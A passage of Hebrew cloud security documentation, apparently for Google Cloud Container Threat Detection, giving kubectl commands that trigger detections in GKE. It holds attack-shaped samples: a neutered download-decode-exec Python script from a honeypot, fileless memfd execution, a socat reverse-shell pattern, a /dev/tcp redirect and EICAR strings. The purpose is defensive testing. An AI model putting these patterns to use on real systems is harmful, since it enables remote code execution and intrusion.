3. יוצרים קונטיינר עם הרשאות ופותחים bash כדי להריץ פקודות:

   • צומת x86:

     tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image python:latest \
        "$tag" -- python -c "import os,sys,time
     
     time.sleep(10)
     f = open('/bin/ls','rb')
     execdata = f.read()
     f.close()
     fd = os.memfd_create('', 0)
     fname = '/proc/self/fd/{}'.format(fd)
     f = open(fname,'wb')
     f.write(execdata)
     f.close()
     args = ['/bin']
     os.execve(fname, args, os.environ)"
     

   • צומת ARM:

     tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image python:3-buster \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- python -c "import os,sys,time
     
     time.sleep(10)
     f = open('/bin/ls','rb')
     execdata = f.read()
     f.close()
     fd = os.memfd_create('', 0)
     fname = '/proc/self/fd/{}'.format(fd)
     f = open(fname,'wb')
     f.write(execdata)
     f.close()
     args = ['/bin']
     os.execve(fname, args, os.environ)"
     

תהליך הבדיקה הזה יוצר ממצא Execution: Fileless Execution in /memfd: שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: פרצת אבטחה מסוג Ingress Nightmare

כדי להפעיל הרצה: בממצא Execution (גרסת טרום-השקה (Preview)) של נקודת חולשה Ingress Nightmare, מריצים את קובץ ה-binary של nginx בקונטיינר. בדוגמה הזו, פורסים את התמונה העדכנית של Ubuntu 24.04, מעתיקים את /bin/ls למיקום אחר, משנים את השם שלו לבינארי של Nginx‏ (nginx) ומריצים אותו עם ארגומנטים נוספים שמפנים למערכת הקבצים /proc. הפעולה הזו נחשבת לחשודה כי היא מדמה התנהגות שתואמת לניצול לרעה של Ingress Nightmare‏ (CVE-2025-1974), ולכן היא עשויה להעיד על הרצת קוד מרחוק.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. יוצרים קובץ בינארי של Nginx כמו nginx ומריצים אותו בזמן הגישה למערכת הקבצים /proc:

   • צומת x86:

     tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
     

   • צומת ARM:

     tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
     

הליך הבדיקה הזה יוצר ממצא של ביצוע: פגיעות של Ingress Nightmare שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging ל-Container Threat Detection. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: הרצת כלי לתקיפת Kubernetes

כדי להפעיל ממצא של ביצוע: ביצוע של כלי לתקיפת Kubernetes, צריך להציב קובץ בינארי במאגר ולהפעיל אותו. בדוגמה הזו, הפקודה פורסת את התמונה העדכנית של Ubuntu 24.04, מעתיקה את /bin/ls למיקום אחר, משנה את השם שלו לכלי חשוד (amicontained) ומבצעת אותו. הפעולה הזו נחשבת לחשודה כי היא מדמה התנהגות שתואמת לניסיון הפעלה של כלי פוטנציאלי לתקיפת Kubernetes.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מורידים קובץ בינארי של כלי להתקפת Kubernetes, כמו amicontained, ומריצים אותו:

   • צומת x86:

     tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
     

   • צומת ARM:

     tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
     

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Kubernetes Attack Tool Execution שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם רישום ביומן לזיהוי איומים בקונטיינר. הצגת הממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

הרצה: הרצת כלי סיור מקומי

כדי להפעיל Execution: Local Reconnaissance Tool Execution ממצא, מציבים קובץ בינארי במאגר התגים ומריצים אותו. בדוגמה הזו, הפקודה פורסת את התמונה העדכנית של Ubuntu 24.04, מעתיקה את /bin/ls למיקום אחר, משנה את השם שלו לכלי חשוד (linenum.sh) ומבצעת אותו. הפעולה הזו נחשבת לחשודה כי הפעלת הקובץ הבינארי ששמו שונה מדמה התנהגות שתואמת לניסיון סיור מקומי.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מציגים קובץ בינארי של כלי לסיור מקומי כמו linenum.sh ומריצים אותו:

   • צומת x86:

     tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
     

   • צומת ARM:

     tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
     

במסגרת הליך הבדיקה הזה נוצר ממצא של Execution: Local Reconnaissance Tool (ביצוע: כלי לסיור מקומי), שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם רישום ביומן עבור זיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

הרצה: בוצע Python זדוני

תצוגה מקדימה

השימוש בתכונה הזו כפוף לתנאי השימוש במוצרים בגרסת טרום-GA, שמפורטים בחלק "תנאי שירות הכלליים" בתנאים הספציפיים של השירות. השימוש בתכונות בגרסת טרום-GA הוא "כפי שהן" (As is), ויכול להיות שהתמיכה בהן תהיה מוגבלת. מידע נוסף זמין בקטע תיאור שלבי ההשקה.

כדי להפעיל את הממצא Execution: Malicious Python Executed, אפשר להריץ Python במאגר באמצעות ההליך הבא.

ההליך פורס את תמונת Python העדכנית ביותר, מעתיק קוד Python שנראה זדוני ואז מריץ אותו. כדי להפעיל זיהוי, קוד ה-Python צריך להיראות זדוני למנגנון הזיהוי.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים את התסריט הבא במאגר חדש.

   קוד ה-Python הזה הגיע ממלכודת דבש. עם זאת, הוא שונה כך שהוא לא מפעיל את הקובץ הבינארי הזדוני. הפעלת הסקריפט לא תגרום לפעילות זדונית במאגר התגים. הקובץ הבינארי בכתובת ה-URL שאליה יש הפניה לא קיים, וניסיון להשתמש בכתובת ה-URL מוביל לשגיאה 404. זה תקין. הניסיון להוריד, לפענח ולהפעיל קובץ בינארי באמצעות סקריפט מוטבע הוא מה שמפעיל את הזיהוי.

   • צומת x86:

     tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image marketplace.gcr.io/google/python:latest \
        "$tag" -- python -c "import urllib
     import base64
     import os
     
     url = 'https://pastebin.com/raw/Z'
     page = base64.b64decode(urllib.urlopen(url).read())
     page = ''
     f = os.popen(str(page))
     url = 'https://pastebin.com/raw/Z'
     d = 'https://pastebin.com/raw/Z'
     page = base64.b64decode(urllib.urlopen(url).read())
     page = ''
     exec(page)"
     

   • צומת ARM:

     tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image python:3-buster \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- python -c "import urllib
     import base64
     import os
     
     url = 'https://pastebin.com/raw/Z'
     page = base64.b64decode(urllib.urlopen(url).read())
     page = ''
     f = os.popen(str(page))
     url = 'https://pastebin.com/raw/Z'
     d = 'https://pastebin.com/raw/Z'
     page = base64.b64decode(urllib.urlopen(url).read())
     page = ''
     exec(page)"
     

במהלך הליך הבדיקה הזה נוצר ממצא מסוג Execution: Malicious Python Executed (ביצוע: קובץ Python זדוני הופעל), שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם רישום ביומן עבור זיהוי איומים בקונטיינר. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

כדי להפחית רעש, כשיוצרים קונטיינר בפעם הראשונה, התכונה 'זיהוי איומים בקונטיינר' מסננת באופן זמני את הממצאים של Execution: Malicious Python Executed. כדי לראות את כל הממצאים של Execution: Malicious Python Executed במהלך הגדרת מאגר תגים, צריך להוסיף את הקידומת ktd-test לשם מאגר התגים או לשם ה-Pod, כמו בדוגמה.

ביצוע: קובץ בינארי זדוני שונה הופעל

כדי להפעיל את הממצא Execution: Modified Malicious Binary Executed, משנים קובץ בינארי זדוני במאגר התגים ומריצים אותו. בדוגמה הזו מתבצע פריסה של תמונת Ubuntu 24.04 העדכנית, שינוי של /etc/issue לקובץ זדוני לבדיקה של EICAR, ואז הפעלה של הקובץ. הביצוע של הקובץ הבינארי לא צפוי כי הקובץ /etc/issue שנוצר משתנה במהלך זמן הריצה של הקונטיינר כקובץ בינארי זדוני לבדיקה של EICAR, והקובץ הבינארי של EICAR הוא קובץ זדוני מוכר לפי מודיעין איומי סייבר.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. משחררים את הקובץ הבינארי של EICAR ומריצים אותו:

   • צומת x86:

     tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"
     

   • צומת ARM:

     tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"
     

תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Modified Malicious Binary Executed שאפשר לראות ב-Security Command Center, וב-Cloud Logging אם הגדרתם רישום ביומן לזיהוי איומים בקונטיינר. הצגת הממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: ספרייה זדונית ששונתה נטענה

כדי להפעיל את הממצא Execution: Modified Malicious Library Loaded, משנים קובץ קיים עם ספרייה זדונית במאגר ומטעינים אותו. בדוגמה הזו מתבצע פריסה של תמונת Ubuntu 24.04 העדכנית ביותר, עדכון של הקובץ  בספרייה זדונית מדומה, ואז טעינה של הקובץ באמצעות ./etc/issuemmap טעינת הספרייה של קובץ קיים היא לא צפויה כי הספרייה היא קובץ בדיקה של EICAR, שמסווג כזדוני על ידי מודיעין איומי סייבר.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מוסיפים את קובץ EICAR וטוענים אותו:

   • צומת x86:

     tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c "
           apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
           echo -n '$eicar' > /etc/issue;
           cat << 'EOF' > /tmp/loader.c
     #include <fcntl.h>
     #include <sys/mman.h>
     #include <sys/stat.h>
     #include <unistd.h>
     #include <stdlib.h>
     int main(int argc, char *argv[]) {
        int fd = open(argv[1], O_RDONLY);
        if (fd == -1) return 1;
        struct stat sb;
        if (fstat(fd, &sb) == -1) return 1;
        void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
        if (addr == MAP_FAILED) return 1;
        write(1, addr, sb.st_size);
        munmap(addr, sb.st_size);
        close(fd);
        return 0;
     }
     EOF
           gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
           sleep 10"
     

   • צומת ARM:

     tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
     "$tag" -- sh -c "
           apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
           echo -n '$eicar' > /etc/issue;
           cat << 'EOF' > /tmp/loader.c
     #include <fcntl.h>
     #include <sys/mman.h>
     #include <sys/stat.h>
     #include <unistd.h>
     #include <stdlib.h>
     int main(int argc, char *argv[]) {
        int fd = open(argv[1], O_RDONLY);
        if (fd == -1) return 1;
        struct stat sb;
        if (fstat(fd, &sb) == -1) return 1;
        void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
        if (addr == MAP_FAILED) return 1;
        write(1, addr, sb.st_size);
        munmap(addr, sb.st_size);
        close(fd);
        return 0;
     }
     EOF
           gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
           sleep 10"
     

תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Modified Malicious Library Loaded (ביצוע: ספרייה זדונית שנטענה ועברה שינוי), שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Logging for Container Threat Detection (רישום ביומן לזיהוי איומים בקונטיינר). אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

Execution: Netcat Remote Code Execution In Container

כדי להפעיל אירוע Execution: Netcat Remote Code Execution In Container, צריך שקובץ בינארי עם יכולת תקשורת ברשת (כמו netcat עצמו, או עותק ששמו שונה של כלי אחר) יהיה נוכח ויופעל בתוך מאגר התגים. בדוגמה הזו, תמונת Ubuntu 24.04 העדכנית ביותר נפרסת כבסיס. הפקודה מעתיקה את הקובץ הבינארי /bin/ls ומשנה את השם של העותק ל-nc (כלי רשת). לאחר מכן, הקובץ הבינארי ששמו שונה מופעל עם ארגומנטים שמתאימים לאינטראקציה עם הרשת. הפעילות הזו מסומנת כחשודה כי היא מחקה את ההתנהגות שנצפית לעיתים קרובות במהלך ניסיונות בפועל להפעלת קוד מרחוק בסביבות מבוססות-קונטיינרים.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מציגים קובץ בינארי של כלי לתקשורת ברשת כמו nc ומריצים אותו עם ארגומנטים מתאימים:

   • צומת x86:

     tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/nc; /tmp/nc -e"
     

   • צומת ARM:

     tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/nc; /tmp/nc -e"
     

במהלך הליך הבדיקה הזה נוצר ממצא Execution: Netcat Remote Code Execution In Container שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: אפשר להריץ פקודות שרירותיות דרך CUPS‏ (CVE-2024-47076)

כדי להפעיל Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) ממצא, צריך להפעיל תהליך של מעטפת על ידי foomatic-rip. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הוא מעתיק את /bin/bash אל /tmp/foomatic-rip. הקובץ הבינארי הזה, ששמו שונה והוא הועתק, מופעל כסקריפט מעטפת כדי ליצור פקודת מעטפת צאצא. ההתנהגות הזו מסומנת כחשודה כי היא יכולה להצביע על ניסיון להפעיל עומסי עבודה שרירותיים במערכות שנפרצו.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים את הפקודה עם הארגומנטים המתאימים:

   • צומת x86:

     tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
        'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
     

   • צומת ARM:

     tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
        'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
     

תהליך הבדיקה הזה יוצר ממצא Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Logging לזיהוי איומים בקונטיינר. הצגת הממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: זוהה ביצוע אפשרי של פקודה מרחוק

כדי להפעיל ממצא של Execution: Possible Remote Command Execution Detected (תצוגה מקדימה), צריך לזהות בתוך מאגר תגים הרצה של פקודה או קובץ בינארי שמשויכים בדרך כלל להרצת פקודות מרחוק. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הפקודה מעתיקה את /bin/ls ומשנה את השם שלו ל-touch (או לכלי אחר כמו find). לאחר מכן, הקובץ הבינארי ששמו שונה מופעל עם ארגומנטים שמתאימים להרצת פקודה מרחוק. התנהגות כזו מסומנת כחשודה כי היא יכולה להעיד על ניסיון ליצור גישה מרחוק לא מורשית אל או מתוך הקונטיינר.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי כמו touch עם הארגומנטים המתאימים:

   • צומת x86:

     tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
     

   • צומת ARM:

     tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
     

במהלך הליך הבדיקה הזה נוצר ממצא Execution: Possible Remote Command Execution Detected שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

הרצה: הפעלת תוכנית עם סביבת Proxy ל-HTTP לא מורשית

כדי להפעיל ממצא Execution: Program Run with Disallowed HTTP Proxy Env, מריצים תוכנית בתוך קונטיינר ומגדירים משתנה סביבה של HTTP proxy לערך אסור. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הכלי /bin/ls מועתק ומשנה את השם ל-/tmp/curl. לאחר מכן, הקובץ הבינארי ששמו שונה מופעל עם ערך אסור שמוגדר למשתנה סביבה של שרת proxy ל-HTTP (לדוגמה, HTTP_PROXY, http_proxy). השילוב של הפעלת התוכנית ונוכחות של סביבת שרת proxy ל-HTTP שאסורה לשימוש מסומן כחשוד, כי הוא מצביע על ניסיון לתקשר דרך שרת proxy לא מורשה.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי עם יכולות רשת, כמו curl, ומריצים אותו עם משתנה סביבה של שרת proxy מסוג HTTP שלא מורשה:

   • צומת x86:

     tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
     

   • צומת ARM:

     tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
     

תהליך הבדיקה הזה יוצר ממצא Execution: Program Run with Disallowed HTTP Proxy Env שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: זוהה reverse shell של Socat

כדי להפעיל Execution: Socat Reverse Shell Detected ממצא, כלי השירות socat צריך ליצור חיבור reverse shell של תהליך. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הכלי socat מותקן ונוצר listener מקומי ל-TCP, ואז הוא נקשר לכלי socat. המעטפת ההפוכה שנוצרה על ידי socat מסומנת כחשודה כי היא מאפשרת לתוקף להריץ עומסי עבודה שרירותיים במערכת.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. יוצרים מאגר תגים ומריצים את כלי השירות socat:

   • צומת x86:

     tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"
     

   • צומת ARM:

     tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"
     

תהליך הבדיקה הזה יוצר ממצא Execution: Socat Reverse Shell Detected שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: שינוי חשוד ב-Cron (תצוגה מקדימה)

כדי להפעיל זיהוי של שינוי חשוד ב-Cron, משנים את הקובץ /etc/crontab של המארח מתוך קונטיינר. בדוגמה הזו פורסים את קובץ האימג' האחרון של Ubuntu 24.04, ומטמיעים את מערכת הקבצים הבסיסית של המארח בקונטיינר. לאחר מכן, הוא מעדכן את קובץ ה-crontab.

זהו גלאי לניטור קבצים, ויש לו דרישות ספציפיות לגבי גרסת GKE.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

